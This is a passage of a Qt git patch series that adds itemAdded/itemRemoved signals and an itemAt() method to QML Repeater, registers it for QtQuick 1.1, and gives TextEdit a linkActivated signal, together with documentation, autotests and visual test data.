changed, 3 insertions(+), 3 deletions(-) diff --git a/src/declarative/qml/qdeclarative.h b/src/declarative/qml/qdeclarative.h index cdd7202..8a6d068 100644 --- a/src/declarative/qml/qdeclarative.h +++ b/src/declarative/qml/qdeclarative.h @@ -199,7 +199,7 @@ int qmlRegisterType(const char *uri, int versionMajor, int versionMinor, const c QByteArray listName("QDeclarativeListProperty<" + name + ">"); QDeclarativePrivate::RegisterType type = { - 2, + 1, qRegisterMetaType(pointerName.constData()), qRegisterMetaType >(listName.constData()), @@ -233,7 +233,7 @@ int qmlRegisterRevision(const char *uri, int versionMajor, int versionMinor) QByteArray listName("QDeclarativeListProperty<" + name + ">"); QDeclarativePrivate::RegisterType type = { - 2, + 1, qRegisterMetaType(pointerName.constData()), qRegisterMetaType >(listName.constData()), diff --git a/src/declarative/qml/qdeclarativemetatype.cpp b/src/declarative/qml/qdeclarativemetatype.cpp index e90fa40..48a63bb 100644 --- a/src/declarative/qml/qdeclarativemetatype.cpp +++ b/src/declarative/qml/qdeclarativemetatype.cpp @@ -200,7 +200,7 @@ QDeclarativeType::QDeclarativeType(int index, const QDeclarativePrivate::Registe d->m_name = name; d->m_version_maj = type.versionMajor; d->m_version_min = type.versionMinor; - if (type.version > 1) // revisions added in version 2 + if (type.version >= 1) // revisions added in version 1 d->m_revision = type.revision; d->m_typeId = type.typeId; d->m_listId = type.listId; -- cgit v0.12 From c1a87921c8a85d5ecee9aba3b3578ae8d042c28a Mon Sep 17 00:00:00 2001 From: Bea Lam Date: Thu, 6 Jan 2011 14:22:35 +1000 Subject: Add Repeater itemAdded(), itemRemoved() signals and itemAt() method Task-number: QTBUG-15161 Reviewed-by: Martin Jones --- doc/src/declarative/qdeclarativemodels.qdoc | 4 +- .../graphicsitems/qdeclarativerepeater.cpp | 123 ++++++++---- .../graphicsitems/qdeclarativerepeater_p.h | 6 + .../tst_qdeclarativerepeater.cpp | 216 +++++++++++++++++++-- 4 files changed, 293 insertions(+), 56 deletions(-) diff --git a/doc/src/declarative/qdeclarativemodels.qdoc b/doc/src/declarative/qdeclarativemodels.qdoc index e11cd56..9fc6696 100644 --- a/doc/src/declarative/qdeclarativemodels.qdoc +++ b/doc/src/declarative/qdeclarativemodels.qdoc @@ -161,7 +161,7 @@ while QAbstractItemModel provides a more flexible solution for more complex models. -\section2 QStringList +\section2 QStringList-based model A model may be a simple QStringList, which provides the contents of the list via the \e modelData role. @@ -182,7 +182,7 @@ have changed. If the QStringList changes, it will be necessary to reset the model by calling QDeclarativeContext::setContextProperty() again. -\section2 QList +\section2 QObjectList-based model A list of QObject* values can also be used as a model. A QList provides the properties of the objects in the list as roles. diff --git a/src/declarative/graphicsitems/qdeclarativerepeater.cpp b/src/declarative/graphicsitems/qdeclarativerepeater.cpp index 6f46c7b..fa684c1 100644 --- a/src/declarative/graphicsitems/qdeclarativerepeater.cpp +++ b/src/declarative/graphicsitems/qdeclarativerepeater.cpp @@ -84,43 +84,23 @@ QDeclarativeRepeaterPrivate::~QDeclarativeRepeaterPrivate() \image repeater-simple.png - The \l model of a Repeater can be any of the supported \l {qmlmodels}{Data Models}. + A Repeater's \l model can be any of the supported \l {qmlmodels}{data models}. + Additionally, like delegates for other views, a Repeater delegate can access + its index within the repeater, as well as the model data relevant to the + delegate. See the \l delegate property documentation for details. Items instantiated by the Repeater are inserted, in order, as children of the Repeater's parent. The insertion starts immediately after the repeater's position in its parent stacking list. This allows a Repeater to be used inside a layout. For example, the following Repeater's items are stacked between a red rectangle and a blue rectangle: - + \snippet doc/src/snippets/declarative/repeaters/repeater.qml layout \image repeater.png - \section2 The \c index and \c modelData properties - - The index of a delegate is exposed as an accessible \c index property in the delegate. - Properties of the model are also available depending upon the type of \l {qmlmodels}{Data Model}. - - Here is a Repeater that uses the \c index property inside the instantiated items: - - \table - \row - \o \snippet doc/src/snippets/declarative/repeaters/repeater.qml index - \o \image repeater-index.png - \endtable - - Here is another Repeater that uses the \c modelData property to reference the data for a - particular index: - - \table - \row - \o \snippet doc/src/snippets/declarative/repeaters/repeater.qml modeldata - \o \image repeater-modeldata.png - \endtable - - - A Repeater item owns all items it instantiates. Removing or dynamically destroying + \note A Repeater item owns all items it instantiates. Removing or dynamically destroying an item created by a Repeater results in unpredictable behavior. @@ -146,6 +126,27 @@ QDeclarativeRepeaterPrivate::~QDeclarativeRepeaterPrivate() \endcode */ +/*! + \qmlsignal Repeater::onItemAdded(int index, Item item) + \since Quick 1.1 + + This handler is called when an item is added to the repeater. The \a index + parameter holds the index at which the item has been inserted within the + repeater, and the \a item parameter holds the \l Item that has been added. +*/ + +/*! + \qmlsignal Repeater::onItemRemoved(int index, Item item) + \since Quick 1.1 + + This handler is called when an item is removed from the repeater. The \a index + parameter holds the index at which the item was removed from the repeater, + and the \a item parameter holds the \l Item that was removed. + + Do not keep a reference to \a item if it was created by this repeater, as + in these cases it will be deleted shortly after the handler is called. +*/ + QDeclarativeRepeater::QDeclarativeRepeater(QDeclarativeItem *parent) : QDeclarativeItem(*(new QDeclarativeRepeaterPrivate), parent) { @@ -160,26 +161,16 @@ QDeclarativeRepeater::~QDeclarativeRepeater() The model providing data for the repeater. - This property can be set to any of the following: + This property can be set to any of the supported \l {qmlmodels}{data models}: \list - \o A number that indicates the number of delegates to be created + \o A number that indicates the number of delegates to be created by the repeater \o A model (e.g. a ListModel item, or a QAbstractItemModel subclass) \o A string list \o An object list \endlist - In each case, the data element and the index is exposed to each instantiated - component. The index is always exposed as an accessible \c index property. - In the case of an object or string list, the data element (of type string - or object) is available as the \c modelData property. In the case of a Qt model, - all roles are available as named properties just like in the view classes. - - As a special case the model can also be merely a number. In this case it will - create that many instances of the component. They will also be assigned an index - based on the order they are created. - - Models can also be created directly in QML, using a \l{ListModel} or \l{XmlListModel}. + The type of model affects the properties that are exposed to the \l delegate. \sa {qmlmodels}{Data Models} */ @@ -243,8 +234,33 @@ void QDeclarativeRepeater::setModel(const QVariant &model) \default The delegate provides a template defining each item instantiated by the repeater. - The index is exposed as an accessible \c index property. Properties of the - model are also available depending upon the type of \l {qmlmodels}{Data Model}. + + Delegates are exposed to a read-only \c index property that indicates the index + of the delegate within the repeater. For example, the following \l Text delegate + displays the index of each repeated item: + + \table + \row + \o \snippet doc/src/snippets/declarative/repeaters/repeater.qml index + \o \image repeater-index.png + \endtable + + If the \l model is a \l{QStringList-based model}{string list} or + \l{QObjectList-based model}{object list}, the delegate is also exposed to + a read-only \c modelData property that holds the string or object data. For + example: + + \table + \row + \o \snippet doc/src/snippets/declarative/repeaters/repeater.qml modeldata + \o \image repeater-modeldata.png + \endtable + + If the \l model is a model object (such as a \l ListModel) the delegate + can access all model roles as named properties, in the same way that delegates + do for view classes like ListView. + + \sa {QML Data Models} */ QDeclarativeComponent *QDeclarativeRepeater::delegate() const { @@ -288,6 +304,21 @@ int QDeclarativeRepeater::count() const return 0; } +/*! + \qmlmethod Item Repeater::itemAt(index) + \since Quick 1.1 + + Returns the \l Item that has been created at the given \a index, or \c null + if no item exists at \a index. +*/ +QDeclarativeItem *QDeclarativeRepeater::itemAt(int index) const +{ + Q_D(const QDeclarativeRepeater); + if (index >= 0 && index < d->deletables.count()) + return d->deletables[index]; + return 0; + +} void QDeclarativeRepeater::componentComplete() { @@ -309,8 +340,13 @@ QVariant QDeclarativeRepeater::itemChange(GraphicsItemChange change, void QDeclarativeRepeater::clear() { Q_D(QDeclarativeRepeater); + bool complete = isComponentComplete(); + if (d->model) { - foreach (QDeclarativeItem *item, d->deletables) { + while (d->deletables.count() > 0) { + QDeclarativeItem *item = d->deletables.takeLast(); + if (complete) + emit itemRemoved(d->deletables.count()-1, item); d->model->release(item); } } @@ -335,6 +371,7 @@ void QDeclarativeRepeater::regenerate() item->setParentItem(parentItem()); item->stackBefore(this); d->deletables << item; + emit itemAdded(ii, item); } } } @@ -355,6 +392,7 @@ void QDeclarativeRepeater::itemsInserted(int index, int count) else item->stackBefore(this); d->deletables.insert(modelIndex, item); + emit itemAdded(modelIndex, item); } } emit countChanged(); @@ -367,6 +405,7 @@ void QDeclarativeRepeater::itemsRemoved(int index, int count) return; while (count--) { QDeclarativeItem *item = d->deletables.takeAt(index); + emit itemRemoved(index, item); if (item) d->model->release(item); else diff --git a/src/declarative/graphicsitems/qdeclarativerepeater_p.h b/src/declarative/graphicsitems/qdeclarativerepeater_p.h index ff58fa0..62552a6 100644 --- a/src/declarative/graphicsitems/qdeclarativerepeater_p.h +++ b/src/declarative/graphicsitems/qdeclarativerepeater_p.h @@ -72,10 +72,16 @@ public: int count() const; + Q_INVOKABLE Q_REVISION(1) QDeclarativeItem *itemAt(int index) const; + Q_SIGNALS: void modelChanged(); void delegateChanged(); void countChanged(); + + Q_REVISION(1) void itemAdded(int index, QDeclarativeItem *item); + Q_REVISION(1) void itemRemoved(int index, QDeclarativeItem *item); + private: void clear(); void regenerate(); diff --git a/tests/auto/declarative/qdeclarativerepeater/tst_qdeclarativerepeater.cpp b/tests/auto/declarative/qdeclarativerepeater/tst_qdeclarativerepeater.cpp index 91a4d68..1b38c11 100644 --- a/tests/auto/declarative/qdeclarativerepeater/tst_qdeclarativerepeater.cpp +++ b/tests/auto/declarative/qdeclarativerepeater/tst_qdeclarativerepeater.cpp @@ -69,8 +69,11 @@ private slots: void numberModel(); void objectList(); void stringList(); - void dataModel(); + void dataModel_adding(); + void dataModel_removing(); + void dataModel_changes(); void itemModel(); + void resetModel(); void properties(); private: @@ -186,6 +189,11 @@ void tst_QDeclarativeRepeater::numberModel() QVERIFY(repeater != 0); QCOMPARE(repeater->parentItem()->childItems().count(), 5+1); + QVERIFY(!repeater->itemAt(-1)); + for (int i=0; icount(); i++) + QCOMPARE(repeater->itemAt(i), repeater->parentItem()->childItems().at(i)); + QVERIFY(!repeater->itemAt(repeater->count())); + QMetaObject::invokeMethod(canvas->rootObject(), "checkProperties"); QVERIFY(testObject->error() == false); @@ -223,6 +231,17 @@ void tst_QDeclarativeRepeater::objectList() QCOMPARE(repeater->property("errors").toInt(), 0);//If this fails either they are out of order or can't find the object's data QCOMPARE(repeater->property("instantiated").toInt(), 100); + QVERIFY(!repeater->itemAt(-1)); + for (int i=0; iitemAt(i), repeater->parentItem()->childItems().at(i)); + QVERIFY(!repeater->itemAt(data.count())); + + QSignalSpy addedSpy(repeater, SIGNAL(itemAdded(int,QDeclarativeItem*))); + QSignalSpy removedSpy(repeater, SIGNAL(itemRemoved(int,QDeclarativeItem*))); + ctxt->setContextProperty("testData", QVariant::fromValue(data)); + QCOMPARE(addedSpy.count(), data.count()); + QCOMPARE(removedSpy.count(), data.count()); + qDeleteAll(data); delete canvas; } @@ -284,7 +303,69 @@ void tst_QDeclarativeRepeater::stringList() delete canvas; } -void tst_QDeclarativeRepeater::dataModel() +void tst_QDeclarativeRepeater::dataModel_adding() +{ + QDeclarativeView *canvas = createView(); + QDeclarativeContext *ctxt = canvas->rootContext(); + TestObject *testObject = new TestObject; + ctxt->setContextProperty("testObject", testObject); + + TestModel testModel; + ctxt->setContextProperty("testData", &testModel); + canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/repeater2.qml")); + qApp->processEvents(); + + QDeclarativeRepeater *repeater = findItem(canvas->rootObject(), "repeater"); + QVERIFY(repeater != 0); + QDeclarativeItem *container = findItem(canvas->rootObject(), "container"); + QVERIFY(container != 0); + + QVERIFY(!repeater->itemAt(0)); + + QSignalSpy countSpy(repeater, SIGNAL(countChanged())); + QSignalSpy addedSpy(repeater, SIGNAL(itemAdded(int,QDeclarativeItem*))); + + // add to empty model + testModel.addItem("two", "2"); + QCOMPARE(repeater->itemAt(0), container->childItems().at(0)); + QCOMPARE(countSpy.count(), 1); countSpy.clear(); + QCOMPARE(addedSpy.count(), 1); + QCOMPARE(addedSpy.at(0).at(0).toInt(), 0); + QCOMPARE(addedSpy.at(0).at(1).value(), container->childItems().at(0)); + addedSpy.clear(); + + // insert at start + testModel.insertItem(0, "one", "1"); + QCOMPARE(repeater->itemAt(0), container->childItems().at(0)); + QCOMPARE(countSpy.count(), 1); countSpy.clear(); + QCOMPARE(addedSpy.count(), 1); + QCOMPARE(addedSpy.at(0).at(0).toInt(), 0); + QCOMPARE(addedSpy.at(0).at(1).value(), container->childItems().at(0)); + addedSpy.clear(); + + // insert at end + testModel.insertItem(2, "four", "4"); + QCOMPARE(repeater->itemAt(2), container->childItems().at(2)); + QCOMPARE(countSpy.count(), 1); countSpy.clear(); + QCOMPARE(addedSpy.count(), 1); + QCOMPARE(addedSpy.at(0).at(0).toInt(), 2); + QCOMPARE(addedSpy.at(0).at(1).value(), container->childItems().at(2)); + addedSpy.clear(); + + // insert in middle + testModel.insertItem(2, "three", "3"); + QCOMPARE(repeater->itemAt(2), container->childItems().at(2)); + QCOMPARE(countSpy.count(), 1); countSpy.clear(); + QCOMPARE(addedSpy.count(), 1); + QCOMPARE(addedSpy.at(0).at(0).toInt(), 2); + QCOMPARE(addedSpy.at(0).at(1).value(), container->childItems().at(2)); + addedSpy.clear(); + + delete testObject; + delete canvas; +} + +void tst_QDeclarativeRepeater::dataModel_removing() { QDeclarativeView *canvas = createView(); QDeclarativeContext *ctxt = canvas->rootContext(); @@ -295,28 +376,84 @@ void tst_QDeclarativeRepeater::dataModel() testModel.addItem("one", "1"); testModel.addItem("two", "2"); testModel.addItem("three", "3"); + testModel.addItem("four", "4"); + testModel.addItem("five", "5"); ctxt->setContextProperty("testData", &testModel); - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/repeater2.qml")); qApp->processEvents(); QDeclarativeRepeater *repeater = findItem(canvas->rootObject(), "repeater"); QVERIFY(repeater != 0); - QDeclarativeItem *container = findItem(canvas->rootObject(), "container"); QVERIFY(container != 0); + QCOMPARE(container->childItems().count(), repeater->count()+1); + + QSignalSpy countSpy(repeater, SIGNAL(countChanged())); + QSignalSpy removedSpy(repeater, SIGNAL(itemRemoved(int,QDeclarativeItem*))); + + // remove at start + QDeclarativeItem *item = repeater->itemAt(0); + QCOMPARE(item, container->childItems().at(0)); + + testModel.removeItem(0); + QVERIFY(repeater->itemAt(0) != item); + QCOMPARE(countSpy.count(), 1); countSpy.clear(); + QCOMPARE(removedSpy.count(), 1); + QCOMPARE(removedSpy.at(0).at(0).toInt(), 0); + QCOMPARE(removedSpy.at(0).at(1).value(), item); + removedSpy.clear(); + + // remove at end + int lastIndex = testModel.count()-1; + item = repeater->itemAt(lastIndex); + QCOMPARE(item, container->childItems().at(lastIndex)); + + testModel.removeItem(lastIndex); + QVERIFY(repeater->itemAt(lastIndex) != item); + QCOMPARE(countSpy.count(), 1); countSpy.clear(); + QCOMPARE(removedSpy.count(), 1); + QCOMPARE(removedSpy.at(0).at(0).toInt(), lastIndex); + QCOMPARE(removedSpy.at(0).at(1).value(), item); + removedSpy.clear(); + + // remove from middle + item = repeater->itemAt(1); + QCOMPARE(item, container->childItems().at(1)); + + testModel.removeItem(1); + QVERIFY(repeater->itemAt(lastIndex) != item); + QCOMPARE(countSpy.count(), 1); countSpy.clear(); + QCOMPARE(removedSpy.count(), 1); + QCOMPARE(removedSpy.at(0).at(0).toInt(), 1); + QCOMPARE(removedSpy.at(0).at(1).value(), item); + removedSpy.clear(); - QCOMPARE(container->childItems().count(), 4); + delete testObject; + delete canvas; +} - QSignalSpy repeaterSpy(repeater, SIGNAL(countChanged())); - testModel.addItem("four", "4"); - QCOMPARE(container->childItems().count(), 5); - QCOMPARE(repeaterSpy.count(),1); +void tst_QDeclarativeRepeater::dataModel_changes() +{ + QDeclarativeView *canvas = createView(); + QDeclarativeContext *ctxt = canvas->rootContext(); + TestObject *testObject = new TestObject; + ctxt->setContextProperty("testObject", testObject); - testModel.removeItem(2); - QCOMPARE(container->childItems().count(), 4); - QCOMPARE(repeaterSpy.count(),2); + TestModel testModel; + testModel.addItem("one", "1"); + testModel.addItem("two", "2"); + testModel.addItem("three", "3"); + + ctxt->setContextProperty("testData", &testModel); + canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/repeater2.qml")); + qApp->processEvents(); + + QDeclarativeRepeater *repeater = findItem(canvas->rootObject(), "repeater"); + QVERIFY(repeater != 0); + QDeclarativeItem *container = findItem(canvas->rootObject(), "container"); + QVERIFY(container != 0); + QCOMPARE(container->childItems().count(), repeater->count()+1); // Check that model changes are propagated QDeclarativeText *text = findItem(canvas->rootObject(), "myName", 1); @@ -377,6 +514,61 @@ void tst_QDeclarativeRepeater::itemModel() delete canvas; } +void tst_QDeclarativeRepeater::resetModel() +{ + QDeclarativeView *canvas = createView(); + + QStringList dataA; + for (int i=0; i<10; i++) + dataA << QString::number(i); + + QDeclarativeContext *ctxt = canvas->rootContext(); + ctxt->setContextProperty("testData", dataA); + canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/repeater1.qml")); + qApp->processEvents(); + QDeclarativeRepeater *repeater = findItem(canvas->rootObject(), "repeater"); + QVERIFY(repeater != 0); + QDeclarativeItem *container = findItem(canvas->rootObject(), "container"); + QVERIFY(container != 0); + + QCOMPARE(repeater->count(), dataA.count()); + + QSignalSpy countSpy(repeater, SIGNAL(countChanged())); + QSignalSpy addedSpy(repeater, SIGNAL(itemAdded(int,QDeclarativeItem*))); + QSignalSpy removedSpy(repeater, SIGNAL(itemRemoved(int,QDeclarativeItem*))); + + QStringList dataB; + for (int i=0; i<20; i++) + dataB << QString::number(i); + + // reset context property + ctxt->setContextProperty("testData", dataB); + QCOMPARE(repeater->count(), dataB.count()); + + QCOMPARE(countSpy.count(), 1); + QCOMPARE(removedSpy.count(), dataA.count()); + QCOMPARE(addedSpy.count(), dataB.count()); + for (int i=0; i(), repeater->itemAt(i)); + } + countSpy.clear(); + removedSpy.clear(); + addedSpy.clear(); + + // reset via setModel() + repeater->setModel(dataA); + QCOMPARE(repeater->count(), dataA.count()); + + QCOMPARE(countSpy.count(), 1); + QCOMPARE(removedSpy.count(), dataB.count()); + QCOMPARE(addedSpy.count(), dataA.count()); + for (int i=0; i(), repeater->itemAt(i)); + } +} + void tst_QDeclarativeRepeater::properties() { QDeclarativeEngine engine; -- cgit v0.12 From c527a1ee371c4758776217e7d16c75e20fe6f5aa Mon Sep 17 00:00:00 2001 From: Bea Lam Date: Fri, 7 Jan 2011 10:24:54 +1000 Subject: Fix to register Repeater for QtQuick 1.1 Task-number: QTBUG-15161 Reviewed-by: Martin Jones --- .../graphicsitems/qdeclarativeitemsmodule.cpp | 4 ++ .../tst_qdeclarativerepeater.cpp | 46 ++++++++++++++++++++++ 2 files changed, 50 insertions(+) diff --git a/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp b/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp index a462763..f06b256 100644 --- a/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp +++ b/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp @@ -175,6 +175,10 @@ void QDeclarativeItemModule::defineModule() qmlRegisterType(); #endif + // QtQuick 1.1 items + qmlRegisterType("QtQuick",1,1,"Repeater"); + + qmlRegisterUncreatableType("QtQuick",1,0,"KeyNavigation",QDeclarativeKeyNavigationAttached::tr("KeyNavigation is only available via attached properties")); qmlRegisterUncreatableType("QtQuick",1,0,"Keys",QDeclarativeKeysAttached::tr("Keys is only available via attached properties")); diff --git a/tests/auto/declarative/qdeclarativerepeater/tst_qdeclarativerepeater.cpp b/tests/auto/declarative/qdeclarativerepeater/tst_qdeclarativerepeater.cpp index 1b38c11..0629076 100644 --- a/tests/auto/declarative/qdeclarativerepeater/tst_qdeclarativerepeater.cpp +++ b/tests/auto/declarative/qdeclarativerepeater/tst_qdeclarativerepeater.cpp @@ -75,6 +75,8 @@ private slots: void itemModel(); void resetModel(); void properties(); + void testQtQuick11Attributes(); + void testQtQuick11Attributes_data(); private: QDeclarativeView *createView(); @@ -599,6 +601,50 @@ void tst_QDeclarativeRepeater::properties() delete rootObject; } +void tst_QDeclarativeRepeater::testQtQuick11Attributes() +{ + QFETCH(QString, code); + QFETCH(QString, warning); + QFETCH(QString, error); + + QDeclarativeEngine engine; + QObject *obj; + + QDeclarativeComponent invalid(&engine); + invalid.setData("import QtQuick 1.0; Repeater { " + code.toUtf8() + " }", QUrl("")); + QTest::ignoreMessage(QtWarningMsg, warning.toUtf8()); + obj = invalid.create(); + QCOMPARE(invalid.errorString(), error); + delete obj; + + QDeclarativeComponent valid(&engine); + valid.setData("import QtQuick 1.1; Repeater { " + code.toUtf8() + " }", QUrl("")); + obj = valid.create(); + QVERIFY(obj); + QVERIFY(valid.errorString().isEmpty()); + delete obj; +} + +void tst_QDeclarativeRepeater::testQtQuick11Attributes_data() +{ + QTest::addColumn("code"); + QTest::addColumn("warning"); + QTest::addColumn("error"); + + QTest::newRow("itemAdded") << "onItemAdded: count" + << "QDeclarativeComponent: Component is not ready" + << ":1 Signal \"onItemAdded\" not available in QtQuick/Repeater 1.0\n"; + + QTest::newRow("itemRemoved") << "onItemRemoved: count" + << "QDeclarativeComponent: Component is not ready" + << ":1 Signal \"onItemRemoved\" not available in QtQuick/Repeater 1.0\n"; + + QTest::newRow("itemAt") << "Component.onCompleted: itemAt(0)" + << ":1: ReferenceError: Can't find variable: itemAt" + << ""; +} + + QDeclarativeView *tst_QDeclarativeRepeater::createView() { QDeclarativeView *canvas = new QDeclarativeView(0); -- cgit v0.12 From 8b45ca46095020c495b44d764bb439018a87d22a Mon Sep 17 00:00:00 2001 From: Alan Alpert Date: Fri, 7 Jan 2011 10:36:01 +1000 Subject: Add linkActivated signal to TextEdit Since TextEdit can also contain rich text with anchors, it should also have a linkActivated signal like Text does. Task-number: QTBUG-15283 Reviewed-by: Martin Jones --- .../graphicsitems/qdeclarativeitemsmodule.cpp | 1 + .../graphicsitems/qdeclarativetextedit.cpp | 16 +- .../graphicsitems/qdeclarativetextedit_p.h | 1 + .../data-X11/linkActivated.0.png | Bin 0 -> 609 bytes .../data-X11/linkActivated.1.png | Bin 0 -> 677 bytes .../data-X11/linkActivated.qml | 191 +++++++++++++++++++++ .../qdeclarativetextedit/data/linkActivated.0.png | Bin 0 -> 609 bytes .../qdeclarativetextedit/data/linkActivated.1.png | Bin 0 -> 677 bytes .../qdeclarativetextedit/data/linkActivated.qml | 191 +++++++++++++++++++++ .../qdeclarativetextedit/linkActivated.qml | 15 ++ 10 files changed, 412 insertions(+), 3 deletions(-) create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/linkActivated.0.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/linkActivated.1.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/linkActivated.qml create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/linkActivated.0.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/linkActivated.1.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/linkActivated.qml create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextedit/linkActivated.qml diff --git a/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp b/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp index a462763..752e239 100644 --- a/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp +++ b/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp @@ -142,6 +142,7 @@ void QDeclarativeItemModule::defineModule() qmlRegisterType("QtQuick",1,0,"Scale"); qmlRegisterType("QtQuick",1,0,"Text"); qmlRegisterType("QtQuick",1,0,"TextEdit"); + qmlRegisterType("QtQuick",1,1,"TextEdit"); #ifndef QT_NO_LINEEDIT qmlRegisterType("QtQuick",1,0,"TextInput"); #endif diff --git a/src/declarative/graphicsitems/qdeclarativetextedit.cpp b/src/declarative/graphicsitems/qdeclarativetextedit.cpp index c1314ff..c71fd98 100644 --- a/src/declarative/graphicsitems/qdeclarativetextedit.cpp +++ b/src/declarative/graphicsitems/qdeclarativetextedit.cpp @@ -103,6 +103,14 @@ TextEdit { \sa Text, TextInput, {declarative/text/textselection}{Text Selection example} */ +/*! + \qmlsignal TextEdit::onLinkActivated(string link) + \since Quick 1.1 + + This handler is called when the user clicks on a link embedded in the text. + The link must be in rich text or HTML format and the + \a link string provides access to the particular link. +*/ QDeclarativeTextEdit::QDeclarativeTextEdit(QDeclarativeItem *parent) : QDeclarativePaintedItem(*(new QDeclarativeTextEditPrivate), parent) { @@ -894,11 +902,11 @@ void QDeclarativeTextEdit::setReadOnly(bool r) return; - Qt::TextInteractionFlags flags = Qt::NoTextInteraction; + Qt::TextInteractionFlags flags = Qt::LinksAccessibleByMouse; if (r) { - flags = Qt::TextSelectableByMouse; + flags = flags | Qt::TextSelectableByMouse; } else { - flags = Qt::TextEditorInteraction; + flags = flags | Qt::TextEditorInteraction; } d->control->setTextInteractionFlags(flags); if (!r) @@ -1260,6 +1268,7 @@ void QDeclarativeTextEditPrivate::init() control = new QTextControl(q); control->setIgnoreUnusedNavigationEvents(true); + control->setTextInteractionFlags(control->textInteractionFlags() | Qt::LinksAccessibleByMouse); // QTextControl follows the default text color // defined by the platform, declarative text @@ -1278,6 +1287,7 @@ void QDeclarativeTextEditPrivate::init() QObject::connect(control, SIGNAL(cursorPositionChanged()), q, SLOT(updateSelectionMarkers())); QObject::connect(control, SIGNAL(cursorPositionChanged()), q, SIGNAL(cursorPositionChanged())); QObject::connect(control, SIGNAL(cursorPositionChanged()), q, SIGNAL(cursorRectangleChanged())); + QObject::connect(control, SIGNAL(linkActivated(QString)), q, SIGNAL(linkActivated(QString))); document = control->document(); document->setDefaultFont(font); diff --git a/src/declarative/graphicsitems/qdeclarativetextedit_p.h b/src/declarative/graphicsitems/qdeclarativetextedit_p.h index 691d995..37b24f7 100644 --- a/src/declarative/graphicsitems/qdeclarativetextedit_p.h +++ b/src/declarative/graphicsitems/qdeclarativetextedit_p.h @@ -221,6 +221,7 @@ Q_SIGNALS: void persistentSelectionChanged(bool isPersistentSelection); void textMarginChanged(qreal textMargin); void selectByMouseChanged(bool selectByMouse); + Q_REVISION(1) void linkActivated(const QString &link); public Q_SLOTS: void deselect(); diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/linkActivated.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/linkActivated.0.png new file mode 100644 index 0000000..7d0d0ae Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/linkActivated.0.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/linkActivated.1.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/linkActivated.1.png new file mode 100644 index 0000000..7d612bf Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/linkActivated.1.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/linkActivated.qml b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/linkActivated.qml new file mode 100644 index 0000000..8c7e380 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/linkActivated.qml @@ -0,0 +1,191 @@ +import Qt.VisualTest 4.7 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + image: "linkActivated.0.png" + } + Frame { + msec: 32 + hash: "53d97d0966197ea41364511dea13752f" + } + Frame { + msec: 48 + hash: "53d97d0966197ea41364511dea13752f" + } + Frame { + msec: 64 + hash: "53d97d0966197ea41364511dea13752f" + } + Frame { + msec: 80 + hash: "53d97d0966197ea41364511dea13752f" + } + Frame { + msec: 96 + hash: "53d97d0966197ea41364511dea13752f" + } + Frame { + msec: 112 + hash: "53d97d0966197ea41364511dea13752f" + } + Frame { + msec: 128 + hash: "53d97d0966197ea41364511dea13752f" + } + Frame { + msec: 144 + hash: "53d97d0966197ea41364511dea13752f" + } + Frame { + msec: 160 + hash: "53d97d0966197ea41364511dea13752f" + } + Frame { + msec: 176 + hash: "53d97d0966197ea41364511dea13752f" + } + Frame { + msec: 192 + hash: "53d97d0966197ea41364511dea13752f" + } + Frame { + msec: 208 + hash: "53d97d0966197ea41364511dea13752f" + } + Frame { + msec: 224 + hash: "53d97d0966197ea41364511dea13752f" + } + Frame { + msec: 240 + hash: "53d97d0966197ea41364511dea13752f" + } + Frame { + msec: 256 + hash: "53d97d0966197ea41364511dea13752f" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 21; y: 13 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 272 + hash: "9482227cbc77e9083218c1452e8644d8" + } + Frame { + msec: 288 + hash: "9482227cbc77e9083218c1452e8644d8" + } + Frame { + msec: 304 + hash: "9482227cbc77e9083218c1452e8644d8" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 22; y: 11 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 320 + hash: "9482227cbc77e9083218c1452e8644d8" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 23; y: 10 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 23; y: 10 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 336 + hash: "29c47cec5d015e6cab0762c3db0fa714" + } + Frame { + msec: 352 + hash: "29c47cec5d015e6cab0762c3db0fa714" + } + Frame { + msec: 368 + hash: "29c47cec5d015e6cab0762c3db0fa714" + } + Frame { + msec: 384 + hash: "29c47cec5d015e6cab0762c3db0fa714" + } + Frame { + msec: 400 + hash: "29c47cec5d015e6cab0762c3db0fa714" + } + Frame { + msec: 416 + hash: "29c47cec5d015e6cab0762c3db0fa714" + } + Frame { + msec: 432 + hash: "29c47cec5d015e6cab0762c3db0fa714" + } + Frame { + msec: 448 + hash: 